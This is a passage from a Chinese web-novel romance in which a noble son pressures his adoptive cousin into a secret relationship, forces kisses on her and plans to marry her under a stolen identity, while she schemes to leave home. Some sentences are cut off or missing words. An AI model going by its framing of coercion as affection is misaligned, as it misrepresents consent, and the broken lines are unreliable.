祁清宴握住祁泠的手,因情绪大起大落,她反抗,只是一双手都在微微颤抖,他拢在掌心,道:“别怕, …… 在外人面前已留足脸面,。 他只是表明相信,心里还是有几分怕的。这俩哪个都能挑出错来,祁泠容色太盛,引人觊觎的模样,她自己的儿子,也不是个省油的灯,主意正得很。 若是真的,一个二房的养女没了也毫无干系,只是她的清宴,有着大好前途的清宴,势必会因此被人指摘。 走到正院中,祁清宴还没跟上,身旁只有心腹。她低声问:“怎么样?”咬着牙,怕她儿子因为祁泠毁了,那她不光会恨祁泠,会更恨另一人。 仆妇也将声音放得很低,不让周围的人听见,同大夫人回道:“夫人放心,那位没破身,还是清白身子,身上干干净净没有一点痕迹。帐内也整齐,不是胡闹过的。” 大夫人用手扶着心,高高悬在嗓子眼的心,稍微落下去些。 等到了正院,只有母子二人,大夫人便没有方才在人前的游刃有余,几乎崩了表面神色,“你是不是偏与我作对?让你娶妻,你不娶。让你与表兄们交好,你不去,与谢氏交好也罢了,起码能得助力,为何要与二房祁泠亲近?” “清宴,你当真是在故意气我?” “祁泠也是祁家的人,二房养女,在外说起也是祁家养大的,母亲为何总是不喜她,只因着身份么?”祁清宴问。 大夫人沉默久久没答,想要开口,但亲口和儿子说起这些总觉腌臜。一时觉得在祁家太累,扶额道:“此后你不想气死我,便早些娶妻,稳妥些吧。” “明年仲秋前,我会娶妻。”良久,祁清宴的声音响起。 他既然答应了,便不会反悔。大夫人的面色些许缓和,由他下去了。 大夫人静默良久,将这件事翻来覆去琢磨了几遍,她还是愿意相信两人清白。毕竟若是真有此事,那便不是一日两日的了。 有祁泠那般模样的美人在怀里,同处一室,怎会什么事都没发生? 但她对旁的仆妇道:“祁泠,也该早日嫁出去了。”无论有事无事,远远嫁出去便好了。 祁清宴从大夫人院落走出,步伐总比寻常快上许多,心里惦念着在琅玕院的人,她应当吓坏了罢…… 琅玕院的侍从皆知道今日完了,在场之人大多都犯了错处。 本来也能平安无事,毕竟大夫人不常来,若无由头,来也不会凭空进内室去。 只因碧若糊涂多言。 碧若一直跪在院中,她清楚地知道自己完了。在琅玕院中犯错,祁清宴有时可以谅解,毕竟人非圣贤孰能无过,但绝不会原谅故意犯错的她。 她辩解也无用,郎君不是糊涂的人。 听见熟悉的脚步声,碧若略微抬起头,一张娟丽的面上布满泪痕。 青娥也从屋中出来,见碧若如此脚步一顿,随即神色如常到祁清宴身前,禀道:“郎君,娘子在里等着,只是还在哭,奴婢劝不住。” 祁清宴闻言连脚步都没停,径直朝着屋内走去,眼神一瞬也没落到碧若身上。只是进门前,稍偏头同青娥道:“除去报信去瑞霭堂的两人,其余皆扣两月俸禄,抄院规百遍。” 青娥问:“郎君,碧若呢?”不是她多嘴,碧若的事绝不会就此过去。祁清宴不是怜香惜玉的人,方才视而不见,他不惩罚,碧若要一直跪在院中。青娥顾念着同碧若情意才问。 “回家去。念在她兄长的面子,若再多嘴说出去什么,也莫怪我狠心了。”话音落下,郎君已然进了内室。 青娥知道内里不用她侍奉了,走到碧若身旁,“你都听见了吧?郎君饶了你,你收拾东西,快些归家吧。有关三娘子的人,千万别往出说,你再犯错,我不会为你求情的。” 碧若泪眼婆娑。 她以为郎君会来问她为何要故意这么说,她可以说是一时鬼迷心窍,或是更干脆些,将盘旋在她心中的念头全都托盘而出,是祁泠不配! 可是郎君就这样走过。 碧若失神,想起她是三年前来到琅玕院的。 她父母皆亡,只剩兄长,兄长善机关,将父母留下来的古籍全奉给郎君,又教会了一批小匠人,却被人暗算,再不能起身行走。 兄长不放心她,欲将她托付出去。她不想被送去旁人家,赌气去偷看,到底是谁作怪,让他兄长生出要给她送走的念头! 她趴在月洞门旁,在院中看见兄长与一少年郎君煮茶谈笑,少年生得那样好看,周身皎如月华流照,衬得她往日算是俊秀的兄长都黯淡无光。 兄长试探着提议,让她随着去建业祁家,来日当做一妾室,衣食无忧也知足了。 少年只笑着摇头,他的院子只会有侍女,绝无姬妾。 兄长回去问她的意思,不顾兄长的不赞许,她还是跟着来了。 琅玕院几年以来,果然如祁清宴所说,一个妾室也没有,连通房都无。为首侍女青娥是老太太给的,在琅玕院长大,绝无二心。 她知道祁清宴府外有宅子,打听那边也是没有姬妾的。心下虽失落,但也觉得郎君是只娶一妻的好夫婿,不免暗羡,身份差距太大,也生不出嫉妒。 直到祁泠的到来—— 碧若抬头看见青娥眼中的失望。 郎君因着她兄长托付关照她几分,让她跟着青娥。青娥如姐姐般体贴照顾她,她逐渐也成了琅玕院的大侍女,不知被多少熬不出头的侍女丫鬟们羡慕。 突然哭出声来,她辜负了兄长期许,也对不起信任她的青娥。 可后悔无用。 …… 内里,祁泠果真还在哭,从内室出来,伏在案上,离远只听得弱兽般可怜的呜咽声。 祁清宴走到祁泠近旁,扶起她脑袋,看见她红肿的眼皮,将人揽进怀里,轻声安慰着:“好了无事了,母亲不知道,其余人暂且也不会知晓。” 祁泠此刻心中真切生出几分恨意来,若不是他,她为何会处在如此不堪的境地?往日也有人对她轻贱鄙夷,可她问心无愧,感触不深,今日才是真正知耻。 那种浑身上下的难受,连一根头发丝都是错的,恨不得立即逃离的无奈,一回想起来仍令她害怕到发抖。 若他没回来,她要如何面对他母亲的诘问? 祁泠推他,用尽全部力气,可祁清宴紧紧抱着她,不松手。 垂望她泪眸,泪如珠子一双一对的掉,无声抽噎着哭泣,祁清宴心也跟着抽疼,什么功利,算计,旁人目光统统抛到旁处去。 “别再担忧了,我娶你。”祁清宴轻声细语地把打算说了出来,哄着她,妄图以此安抚。 第39章 第三十九章【VIP】 娶她? 他要如何娶她,他们两人之间是能谈及嫁娶事的吗?祁泠自知身份差距,从未如此想过,应付着,直到他厌倦便罢了。 此刻听到祁清宴如此荒谬的话,在她看来嫁娶是根本不切实际的事。 祁泠仰着头,哽咽问他:“娶?大逆不道之举,满府人,除你之外,还有谁会愿意?” 宽大而修长的手拖住她潮湿带着泪意的脸庞,带着层薄茧的指节微微发硬,在她满是倔强询问的眼神下,祁清宴抹去她眼下半滴泪珠,轻声道:“他们不同意是因名不正,如我们名正言顺,便好了。” “我近日思量着为你寻一身份,打听到中书省下隶属侍郎管辖的中书舍人黄筹之,他的幼女十三年前走失。我走前与其商议先定下章程,几月后回来,我们的事便准备起来,认亲后你去黄家住上几日,待行了婚仪,便又回到祁家来。” 要她用旁人的身份,嫁他。 祁泠听得有些发愣。 又听祁清宴接着道:“从前我思量得简单,只在府外不需这些。可在府内,我们私下相会非长久之计,今日不被母亲见到,来日也会被旁人发觉,待成亲,你是我名正言顺的发妻,再无人可置喙我们的事。” 察觉祁泠面上没什么动容神色,祁清宴方想起祁泠对他没有心思,不如他一般想要长长久久。 他心中一滞,稍停顿,将语气放得更加柔和,带上几分蛊惑,“叔母……你同叔母亲厚,嫁去旁人家见面的机会便少了,若是远嫁更难相见。可你留在祁家,只是搬到琅玕院来住,想回二房白日里大可回去。祁府皆为你的亲人,可以为祖母叔母养老送终,也可以陪着云漪长大。” 这番话对祁泠很有诱惑。 嫁给具体哪位郎君其实并不重要,她从前也是希望夫婿良善,后宅干净而已。嫁到旁人家中去,便要适应新的环境,新的人。 于祁清宴而言,给她换个身份是轻而易举的事情,黄家在建业声名不显,黄父的官职也不高。祁清宴既然当她面提及,此事定有□□成把握能成。 祁泠知道他是认真想过的,她开口,不问自己,没问以后如何,此刻竟格外清醒,清醒到问出一个令祁清宴诧异的话,“那位黄家娘子的名字……” 祁清宴不知道,这等细枝末节之事并不重要。听到祁泠不愿离开祁家,又对她日益喜爱,才起了成亲的念头。时至今日,没有他得不到或是不能做的事,心随意动,当即便吩咐人去寻合适的人家。 勉强找到基本符合的黄家,只身份低些,也无伤大雅,来日当做祁家姻亲,帮扶一番便好了。 “我不知晓。” 祁泠垂下眼去,祁清宴又不忍看她这般模样,此刻猜不到敏感细腻的娘子心中在想着什么,以为她胆小怕事情不成,便回想着,捡了话来说,“黄家子女不多……黄夫人只一双子女,一家远行赴任,错信侍从丢了幼女,那时三四岁,若能长大,约莫与你年岁差不多。” 只听得几句,祁泠便知晓黄家女娘也是千娇万宠的女儿。 可怜的黄娘子被拐走,不知过的什么日子,不知是否尚存人世。三四岁已经有了模糊的记忆,若有朝一日寻亲回到建业。 没了真正的身份,真正的黄娘子该如何是好? 而冒名顶替了人家身份的她,又该如何自处? 况且婚书之上,书的不是她的名字,与祁清宴成婚的,也不是她了。 祁泠缓慢地道:“骗不了人,大家仍会知晓是我。” 只是换了个身份,变成了旁人家里的女儿,但祁家都知道是她,被冯夫人从襁褓养大的祁泠。 祁清宴道:“我会说服祖母,只要祖母应允,其余人便无需顾虑了。我只想与你一起,娶不了旁人。” 对她的贪求愈发难以自持,也不需要做什么,他握着祁泠的手,只要人靠在他怀里,在他身侧,便足以发出妥帖的喟叹。 “燕徊粱……你之前见到他过一次,他要离了建业,远行赴任,一路怕是波折颇多,我怎么也要与他同去。路上有几桩些要紧事也必须亲自去看一眼……少则两月,多则四月,念着你,我会早些回来。待我回来,便带你去见黄家人,好不好?” 常多了几分亮意,迫切盯着她,等着她回答。 祁泠说不出不好的话,果他今得了答案,明个便让她去认亲,,仔细想好当真不愿,同他撕破脸。 可听着他要离开,难免,防着他再想出旁的法子,她只得点了点头。 大抵是尘埃落定,祁清宴这段时日总是乱的心平静下来,称得上是愉悦的感觉充斥胸膛。 那一瞬,几乎无法承受分离,只盼着早些成亲才好。再无往常的清疏,俯身贴上她柔软的唇,吻轻轻柔柔的,连带 祁泠还没反应过来,又如同上次一般被迫承受,不知过去许久,她可以扶着案桌小口喘气,来平复不稳的呼吸。 “你歇歇,等会让青娥送你回去。” 语毕,祁清宴怕她回去后想起今日被大夫人发觉的事又哭起来。他母亲说话一向难听,她是个爱哭性子,恐怕会躲起来闷着自己。道:“今日错的是我,你不必因母亲的话而难过。等我们成了亲,也不必听她的话,什么事只管推到我身上便好。” 祁泠脸色发红,浑身无力,撑着案桌回头瞪他。 满腹心酸与委屈确实在祁清宴说出这句话之后停下。可看他说着自己错了,却毫无反悔,所作所为意思皆是要错到底的意思关键她又不能耐他如何。 真是让人生气。 祁清宴又俯身过来,祁泠当真是怕了他,忙往后退,躲避他的视线。 只觉他狗一样,把她当成肉骨头,翻来覆去的又啃又咬,还停不下来,不知道有什么好亲的。 唇轻轻落在额头上,听他轻笑一声。 祁泠也不知两人到底要这般纠缠到何时,等面色不再发烫,匆匆离了琅玕院。 出了院子才发现,外面是正午,不过过去一个上午而已却生了许多事。日头大,没有冬时的冷,反倒有些热。 银盘方睡醒,被青娥叫起来,有些不明白她只是睡了两个时辰,院中出来气氛大变,谨慎地跟在祁泠身边。 青娥今日也跟着主仆两个一同往回走,为祁泠打着伞。 方走到二房,还没到冯夫人的院中,远处便有人影冲上来。 正是柳姨娘,她得知真相后果真找上了祁泠。 她对冯夫人太了解了,当初她生了孩子后哭着求了求,冯夫人心软没抱走祁雪峤。这回她去正院故技重施,冯夫人也没说不允,她再同祁观复求上一求,这事几乎能成。 可祁观复突然坚决不允,内里缘由自然不会同她说。她这几日都在纳闷到底是何处出了错? 几番打探,才知是冯夫人身边的嬷嬷作祟,嬷嬷不是能自作主张的人,再仔细探听便知道这是祁泠的意思,一时恨上祁泠。 柳姨娘用帕子掩面,哭着走过来,“三娘子何苦要为难自家兄长?我遭人嫌弃也罢,可娘子也不是祁家人,好心被祁家收养,不心怀感激,怎能不将心比心?没有好心思,偏生想着害人事……” 祁泠此时无力与她争辩,只道:“姨娘今日所说,我皆会告诉父亲。” 青娥则上前行了一礼,干脆利落道:“姨娘此话差矣。姨娘是算府上半个正经主子,可尊卑有别,年岁又长,竟对三娘子出言不逊。怕是入府太久,忘了规矩如何?” 算半个正经主子,意思便是不是正经主子。年岁又长,在讽刺她老了。柳姨娘这么多年都没受过这等委屈,精心呵护的面容上生了怒意,一时连扮弱也忘了,斥道:“哪冒出来的死丫鬟……” 她身旁有侍女上前,小声劝道:“姨娘……这好像是琅玕院的青娥。” 青娥这名字柳姨娘还是听过的,再抬头看对方气势,比寻常人家的娘子还气派。她顿时泄了气势,不敢得罪,只是酸道:“到底是大房的人,侍女都驾到我头上来了。” “奴婢不敢。”青娥道:“奴婢与姨娘都是府上的人,只是大房没有这般的规矩,在此见到了,一时诧异而已。奴婢奉老夫人和郎君的命,送三娘子回去,不便与姨娘多言。姨娘若嫌奴婢说错了话,可与奴婢同去老夫人处,分一分是非。” 柳姨娘被她说得脸色青白,祁云漱从远处赶来,扯着自己姨娘走了,走前狠狠瞪上祁泠几眼。 祁泠心累,只想尽快回去,不与她们计较,青娥送她回了辛夷阁。 午后,祁泠在冯夫人处侍奉,瑞霭堂传信过来,要祁泠过去一趟。她不免内心惴惴不安,害怕被老夫人发觉,不敢告诉冯夫人,只换身衣裳便去了。 走到小门处,远远见着有人,再走近见清是祁雪峤,两院关系闹僵,祁泠略微俯身,便打算过去。 “泠妹妹。” 祁雪峤开口喊住了她,他深深吸了一口气,额头冒着细密的汗珠,他摆脱了小厮,而祁泠身后只有银盘,他鼓起勇气开口道:“我有几句话,能否单独同妹妹讲。” 祁泠看他郑重的神色,答应了。 还没走到远处,祁雪峤便开了口,“三堂兄强迫你……” 祁泠顿时警惕,死死压住手心,望向四周看清无人,转而质问祁雪峤:“你在胡说什么?” 内心却惊诧,怎么突然被这么多人知道。在祁雪峤面前,她打定主意咬死不承认,两院方生了嫌隙,他姨娘因她不能如愿,如果他以此要挟报复…… 祁泠立刻想着对策。 她的防备和不相信尽入少年眼底,他因此神情低落,眼神发黯,却攥紧了拳,猛地抬头看她,说出的话也令她震惊:“我想帮你。” 第40章 第四十章【VIP】 两人所处之地在假山侧旁,石头高低错落,隔出三两条小路,日光洒下,带来几处荫蔽。 祁泠乌睫低垂,一张芙蓉面紧绷。祁雪峤开口后情绪越发激动,在一旁反复踱步,“上有祖母叔父父亲,他却敢做这么有违礼教的事。” 祁雪峤近些时日翻来覆去,难得安寝,他们同是二房人,在江州时关系不算好但也风平浪静,回到建业却遇到这么多糟心事。他仕途不顺,祁泠被觊觎。 早知如此,还不如当初久留江州的好! “你误会了。”祁泠缓缓抬眸,内里目光认真而平静,如同檐上细雪疏离沉默,“不管你从何处听到或者如何知道,这都是误会,我和他之间并无关系。” 她的语气冷淡、辨不清情绪。 祁雪峤好不容易才拦住她,同她言说,此时见到祁泠的反应怔忪一瞬,周身都凉了。他不是道听途说,他是亲眼所见! 所以是她不信任他,一点都没有。 他应当是生气,但想起祁泠在家中尴尬的身份,是因他而来。如果不是他小时听到祁泠的身世回屋学话给姨娘听,祁泠的身世会一直瞒下去。 如今祁泠是他的亲妹妹,与他关系好的妹妹,祁清宴也不会因为没有血缘,心安理得地强夺了。 故而,他未因祁泠疏离的态而记恨,反而道:“我人微言轻,势单力薄,没有办法抗衡三堂兄,但妹妹要是有什么难处,大可来找我,我们是亲人,无论如何我都会帮你……” 前几日方生了柳姨娘的事端,祁泠不相信祁雪峤一点风声都不知晓,依照柳姨娘的性子,在自己的院中、祁雪峤和祁云漱面前,定会骂她,说不定一天中会将这件事念叨几遍。 她望着祁雪峤,问:“柳姨娘的事,你不怨我么?” 祁雪峤脸上浮现无奈,摇了摇头,“是姨娘的错。我劝过姨娘不要去夫人,有事情同父亲说便罢了,可她偏要去夫人那里说上一通。父亲允不允我不在乎,旁人也不会因我家世而高看我……” “有时,我也盼着自己是在夫人院中长大,或者不生在祁家,哪怕一户普通人家都好。”他低垂的眼眸里浮现出一点泪意来。 冯夫人温和良善,不会因为他的出身而苛待他,能护着祁泠,也能护着他长大。 而不是现下,姨娘骂他无能,总是要他出人头地,整日说着其他人怎么不好。而父亲嫌他懦弱,好像后悔有他这个儿子。 祁泠没想到祁雪峤同她说起这些,偌大的家族中人各有各的不易之处。这般想想祁清宴真是命好,出身尊贵又没什么坎坷,才成了那般无法无天唯我独尊的性子。 她反过来劝道:“男子总有外面的广阔天地可去,出身是阶梯,他们在你前面些许,你努力些或也可及。朝中不也有几位出身寒门的大臣,出身微寒可心性坚韧,更让人敬佩。” 祁雪峤听了也不说话,沉默片刻道:“我记下了。”听到祁泠说的多了,他心中又略微轻快了些,祁泠不是讨厌他,否则不会说这么多。他道:“妹妹,三堂兄……” 祁泠听到这,微微俯身全了礼,“祖母在等我。”她不愿再同祁雪峤说这些。祁雪峤只能看着祁泠走远。 祁雪峤的神情认真而郑重,祁泠此时相信他说的是真的,也相信他说要帮她是真的。 只是不管祁雪峤说的是真是假,她都不能将事情全都告诉她。她不能用自己的来日去赌,祁雪峤若帮她,被其余人得知了风声。 即使是祁清宴的错,大家会苛责于她,这对祁清宴只是一个污点,她却完了。 “娘子今个怎么无精打采,恍恍惚惚的?”银盘抱着伞,跟着祁泠一同往瑞霭堂走。 “头午在琅玕院也是,我看其余人也都脸色不好,那个总是挑奴婢错,不喜欢奴婢睡在青娥的碧若回屋收拾东西,被两个护院模样的人送走了,娘子知道怎么了吗?青娥姐姐来喊我出门时,神色也不大对。” 睡熟有睡熟的好处,在事情彻底闹大之前,祁泠并不想银盘知道太多,嘴角勉强扯起个轻松的笑,“或许今个日子不好罢。” “是吗。”银盘疑惑地嘟囔两声,想不明白也罢了,牵着祁泠袖子,换了话说,“等会娘子从瑞霭堂出门,正好可以去接小娘子。” 祁泠点头,心神却不在上面,? 她不知道。 沈老夫人刚刚睡醒,大榻上,正闭目养神。后面一个小丫鬟在打扇,线,听见门帘掀起的声儿,她回头望一眼,回首轻声道:“老夫人, “嗯。”老夫人睁眼几瞬,重新有了清明意,看着进门来的祁泠,道:“今日上午在三郎院中的事,我知晓了。” 浑,祁泠无法控制自己僵硬的表情,只愣愣站在门口。 那种难捱。 大夫人与她没什么干系。她不在乎大夫人对她的看法,反正从前对她也无好感。那时心中只是羞愧。 老夫人却不一样。不是嫡亲的祖孙,但祁泠心中对老夫人有几分孺慕之情,当初冯夫人苦求,是老夫人拍板留她在家中。 如今当老夫人听到她引以为傲的孙子因她有了污点,会不会后悔当初的决定? 她眼中温热,低垂着头,泪潸然而下却不觉,只是面容微凉,满嘴苦涩。 “这孩子,怎哭得这般快?”沈老夫人诧异,可祁泠仍然哭着站在门口,有眼力见的听荷上前,替祁泠解开外面厚重的披风,把人拉到老夫人面前。 沈老夫人褶皱的手拿着帕子擦去她的泪,祁泠内心只有无尽的悔,不敢去看老夫人的脸,老夫人道:“受了委屈,我们泠丫头。” “阿质让青娥来同我说过了。老大媳妇,你不必听*她的话,有甚么可存疑的,妹妹在哥哥房里小睡一会儿怎么了?舒儿同既白前两年还打过一架呢,既白没事就呆在舒儿院里呢……在祁家,她巴不得自己儿子一个人孤零零的,只与姓慕容的亲近才好,阿质同咱们家这些手足谁好,她都是不应的。” 沈老夫人拍拍祁泠的肩,看着孙女哭得眼眶发红,当真不知哭了多久,她是有些心疼,语气轻柔又慈祥,“好端端的娘子,莫哭了莫哭了,听她的做什么,琅玕院你照样去就是了。一桩小事而已,我还活着呢,看谁敢传出什么话来。” 若是斥她骂她还好,可偏偏…… 祁泠不知道祁清宴派青娥来瑞霭堂传这件事是什么意思,在琅玕院发生的事怎么也会传到老夫人耳中不如自己说,或他借此让她放心并无旁人知晓,亦或是为了几月后的坦白,先让老夫人心里有个准备。 不论他目的为何,面对老夫人的信任,但祁泠只想哭。老夫人没有一点怀疑,把她唤来只是让她别介意大夫人的话,怕她因此疏远祁清宴,兄妹关系淡了。 愧疚于老夫人的信任。 祁泠想,全部说出来算了。 沈老夫人越想越生气,大夫人怎么也说出这样诛心的话,内里情况她不知晓么?她气大夫人,又安慰祁泠道:“泠丫头不是胡闹的人,阿质也知分寸,别听她胡说就是了。” 祁泠说不出口。 让老夫人知晓真相,是祁清宴的过错,恐怕老夫人会动更大的怒,祁清宴才是老夫人的心尖。 但她靠在老夫人肩头,将这段时日的委屈全都宣泄出来,不用考虑在何处,是否会被旁人知晓。虽然老夫人也不知道真相,起码得知她是委屈的。 是她这一阵子,唯一可以依靠的长辈。 沈老夫人由她哭了一阵,到:“别把眼睛哭坏了,好端端的娘子,在暖阁歇歇,明早再来我这,给你兄长送行。” 祁泠不想去,但老夫人一心想缓解大夫人闹出来的关系裂痕,她也点点头表面应了。 翌日天方浮起鱼肚白,寒意如水,祁泠外面裹着披风,带着银盘,磨蹭了许久才走到瑞霭堂去,入内得知祁清宴来过了,老夫人还说她怎么来迟了一会儿,没能见上祁清宴,殊不知祁泠就是躲着他的。 可出了瑞霭堂,迎面见到去而复返的祁清宴,他外披大氅,玉冠束发,端的倒是谦谦君子之风。 周围有人,又在瑞霭堂的院子,老夫人眼皮底下,目前也做不出亲近之态。 进屋只有一条路,祁泠在旁处行了个礼,没说话。 祁清宴却走近几步,在她一步远处停下,语气亲近:“我让青娥去二房陪着你如何。沉弦留在琅玕院,有事同他说,他会传信于我。” “你要留人看着我吗?”祁泠扫见他后方跟着的青娥,冷冷问。 “怕你在二房受欺负。”祁清宴略微解释一句。 昨日柳姨娘的事看来他都知晓了,青娥便是传话的人,若跟在她身边,她一举一动恐怕他都能知晓。 祁泠深呼吸,压了压思绪,勉强对他心平气和道:“不必,让青娥和留在琅玕院吧,我不喜欢旁人跟着我。” “……那也好,你有事寻他们便好。”祁清宴妥协道,不愿因为小事惹她生气。只嫌周围人多,两人只是隔着一步远站着,转念一想回来便会公之于众,也不必急在一时了。 他眉间浮起温柔神色,几乎融了满身清疏意,“等我回来。” 祁泠点头,侧身目睹着他走远,进了瑞霭堂内,即使故意回来看她一眼,也要寻个由头再去老夫人面前走一趟。 不能等他回来,祁泠站在原地清醒地想。 即使他真能筹备周全,让她认了亲,再嫁到祁家来。那不是她的身份,祁家人依旧知道是她。 不喜她的大夫人知道。 视她如亲女的冯夫人知道。 把两人当成嫡亲兄妹的老夫人也知道。 她们会如何想? 动怒、伤心、还是失望。 她要在他回来之前,离开这里。 40-50 第41章 第四十一章【VIP】 女子离家,即使她是二房的养女,能名正言顺离开祁家只有嫁人一条路。 往日有祁清宴在,断然没有办法,他毁了她同何家的婚事就是先例。现下又与从前不同,那时他尚未挑明,此时她再议亲,岂不是明着反抗他? 他暂且不在家中,却将青娥和沉弦两人留在府内,又同她说了,岂不是故意的,意在让她莫要生出旁的心思。 唯一一条路被堵死,祁泠想着前路叹了口气,怕祁清宴出来又见到他,抬步往瑞霭堂外头走。 银盘耳朵尖听到,“娘子怎么了,从前不叹气的?” 因为从前总是想的太简单,以为一切事会有解决的法子,不知世间事不如意居多,一件事好不容易了了,又会生出新的波澜,又有新的忧愁。 祁泠倒也懂了几分冯夫人的隐忍无奈,对有些人实在想不出来办法,有时只能随他去吧。想起冯夫人,她思绪一顿,“母亲的娘家在淮陵……” “唔……娘子说的没错,咱们小时候还去过一次呢,娘子带着奴婢同冯家娘子们一起放纸鸢呢。前一阵听姐姐说,如今冯家已是夫人的兄嫂做主了。” 祁泠静下心来,攥着袖中手帕,走在回二房的路上,细细思量着。她依稀记得冯家,冯夫人的母亲曾抱过怯生生的她。那时二房已经去了江州,该知道的她也知道了,冯夫人的母亲却依然亲昵抱着她,如同真正的外祖母那般。 后来祁云漪出生,冯夫人身子不好,冯夫人母亲带着儿女来探望,再后来冯夫人的母亲故去,冯夫人再没回去过。 淮陵有些远…… 她在淮陵如何,祁清宴纵使知晓,也赶不回来吧? 想到个或许可行的法子,祁泠也顾不上叹气,带着银盘快步回了正房。 她脚步略微快进了门,没想到内里有两位主子,她一愣,随后停住脚步,行了一礼,“父亲,母亲。” 祁观复同冯夫人正在用早膳。 冯夫人是备着膳食等祁泠从瑞霭堂回来一同用的,未曾想祁观复来了,他说着两个女儿的事,又说自己没用膳,自顾自就坐下吃饭了。 “阿泠回来了,正好来用膳吧。”祁观复笑着说。 冯夫人扫了眼碍事还不自觉的祁观复,转身同丫鬟道:“为娘子添副碗筷来,厨房里热着的金丝粥,给娘子再端一碗来。” 多余的祁观复摸了摸鼻尖,只坐着不动身。祁泠将要说的话吞回肚子里,乖巧坐下,她许久没与父亲母亲同坐一桌用膳了,只是还缺个小人儿。 祁云漪揉着眼睛从侧屋出来,见到父亲一双黑葡萄似的眼睛不可置信地瞪大,又揉了揉,随后才扑上前去,声音含着点委屈:“父亲,漪漪好几日没见到父亲了。” 冯夫人余光见到,也听见了,自若地夹着菜,不过拿着筷子的手停在半空几瞬,才随便夹了什么,放进口中,食不知味。 祁观复把小女儿抱在怀中,让她坐在自己膝上。祁云漪一双眼像冯夫人,小脸的轮廓像他,他摸了摸祁云漪脑瓜,“以后父亲每日都来看你好不好?” 祁云漪脆生生地应好,又偷偷瞄了眼冯夫人,小小的孩子也有她自己的思量。 “漪漪开春应当请先生了,三郎上次来问过我,你可曾有何考量?”冯夫人放下碗筷道。 “我在朝中挂一闲职,平日里无事,我亲自教漪漪,夫人觉得如何?”祁观复问。 当初祁泠、祁云漱祁雪峤都是他亲自教的,后来送祁雪峤去书院,两个女儿也不再多教了。 祁云漪又不同,毕竟……毕竟是他唯一的嫡女,与发妻的女儿。 “随你。”冯夫人冷淡道。 祁泠正埋头喝着粥,忽地被点了名。 “阿泠,”祁观复看着养女,“你今日去送三郎离京,可听他说何时归来?临近年关,兄长也要归来了,一家人团团圆圆过个年节才好。” 还有一月有余就到除岁,祁泠思量着依照祁清宴所言,他似乎要两月到四月才能回来。 她张嘴欲答,但现在心里装着事,总要刻意避免着把两人的关系说的亲近,慢吞吞地道:“女儿去晚了,没见到他。” 祁观复道:“临川那么远,只一来一回也紧巴巴,要是再耽搁几日,恐怕是多半赶不上的。” 他没觉出来异常,冯夫人却抬头看了祁泠一眼,祁泠与母亲对上视线,想起祁清宴的纠缠,她干脆道:“父亲,母亲,我想去淮陵一趟。” ,祁观复先是愣怔,疑惑还没问出来,冯夫人便道:“是我的意思,我离不开家宅,让阿” 女儿独自出门,祁观复会担忧太多,不会轻易应允。但他对冯夫人满心愧疚,只有点头的份,转而道:“三郎走了,阿泠也走了,这家中一下缺了两人。阿泠打算何时去?” 冯夫人看向祁泠,意思全都听她的。 祁泠不舍离开冯夫人,但留在祁家,于掌中,没有一丝喘息的余地。 等他回来,如他所说,娶了,祁家上下闻此少不得要天崩地裂,鸡飞狗跳,那是真的团聚热闹了。 她定下心来,道:“女儿想尽快去。” 眨巴眨巴眼问。冯夫人回答小女儿:“你姐姐要去外祖父家,你对外祖父没印象,哪里有舅父舅母,表哥表姐们,?” 祁云漪摇摇脑袋,脑袋窝在父亲怀里,不想离开母亲父亲。 祁泠又何尝不是,但被逼到这份上也没办法,“母亲留下漪漪吧,路途遥远,漪漪没怎么出过远门,当初回建业都病上两天,等漪漪长大些再去。” 冯夫人这才歇了心思,不然总归担忧祁泠。 祁观复道:“咱们院中护卫三郎带走些,路途远怕不够,我再去母亲处要些人来,给阿泠带上三十护卫,你再打点些丫鬟婆子也足够了。” 又同祁泠道:“你放心替你母亲去罢。” 祁泠点头。 待用过早膳,祁观复牵着小女儿一同走了,冯夫人却喊住祁泠,留了她。 冯夫人察觉出不对来,祁泠从前一直没答应去淮陵,问她:“你怎么突然要去了,你同母亲说实话,发生了什么事是吗?” 知女莫若母,祁泠鼻尖一酸,走到冯夫人身边,跪在地上:“女儿得母亲养育已然感恩在心,纵使不舍,亦不能总留祁家……婚事屡屡不成,又总生出风波,阿泠怕来日生出祸事,连累二房。思来想去,想去淮陵躲一躲,等阿泠走后,劳烦母亲替阿泠寻一门在淮陵附近的婚事罢,阿泠……想早早嫁人。” 冯夫人不知真相,以为祁泠被五皇子和瑞安王府的事吓到了,再不是又听说了什么,权贵强抢民女之事屡见不鲜,又何况是瑞安王妃、五皇子这些皇亲国戚。 若真赐婚下来,她一介妇人也无法,便道:“好,母亲答应你。只是可心的婚事难得,一时半刻恐怕遇不到合适的人选。” “阿泠只要夫婿能尊我敬我,此外,再无所求。”祁泠道。 她打定主意要尽快下嫁了。 “……母亲应你。” 冯夫人说罢,又将祁泠唤到近前,满眼心疼,当初她在江州千挑万选夫婿,最后却说出这样的话,只要是低嫁,哪户人家不会敬她? 冯夫人没法替祁泠寻更好的婚事,将祁泠仔仔细细看过一遍,长大的女儿见一面少一面,等到真嫁人了,成了旁人家的人,再见不易。 祁泠走后,冯夫人独坐许久,直到嬷嬷进来,冯夫人才回过神,一声叹息,“嬷嬷,午后我们出府一趟罢,别让阿泠和旁人知晓。” …… 定下三日后出发淮陵,期间青娥带着汤药来过一趟。 祁泠一看乌黑的汤药就又回想起在琅玕院的糟心事来,不过这些暂且都能忍下,她端起药来一饮而尽。 用帕子拭拭嘴角,随后,她平静道:“青娥,下回的汤药,你不必送了。我要离府,回一趟母亲娘家。” “娘子?”青娥被这突如其来的消息砸晕了。 郎君走前嘱咐她来送药,但肯定要护好祁泠。上次郎君听到二房一个姨娘都能对三娘子大呼小叫,脸色发冷。还有大夫人,防着大夫人对祁泠不利。 “怎么?”祁泠坐在美人榻上拿着药碗,垂眼将碗放回青娥带来的托盘中,语气含讽,“他走了,我必须守在家中不能出门半步么?况且是回我外祖父家,你大可将此事告诉他。” 必须要告诉青娥,她离开祁家瞒不过祁清宴,还不如堂堂正正的说。 青娥为难,她知道郎君一时半会儿回不来,郎君也没料到娘子要光明正大离开家中。 但祁泠说的也没错,冯夫人的娘家不就是祁泠的外祖父家,替母亲回去一趟天经地义。 郎君没理由拦,又何况天高皇帝远的,更管不到娘子头上了。 娘子又主动同她说了,她只管全盘告诉沉弦,沉弦传信给郎君便是。 青娥转过弯来,俯身:“奴婢回去准备一下,明日将药包送来,娘子莫忘记隔两日吃一次。” 祁泠应下,这等小事目前没有必要拒绝,和不告诉青娥她要去外祖父家一般,反而容易让祁清宴起疑心。 等到出发时,没有祁清宴那般兴师动众,只是在她走的前一日去了瑞霭堂拜别老夫人,晚间去三房接祁云漪,又同祁望舒说了一声。 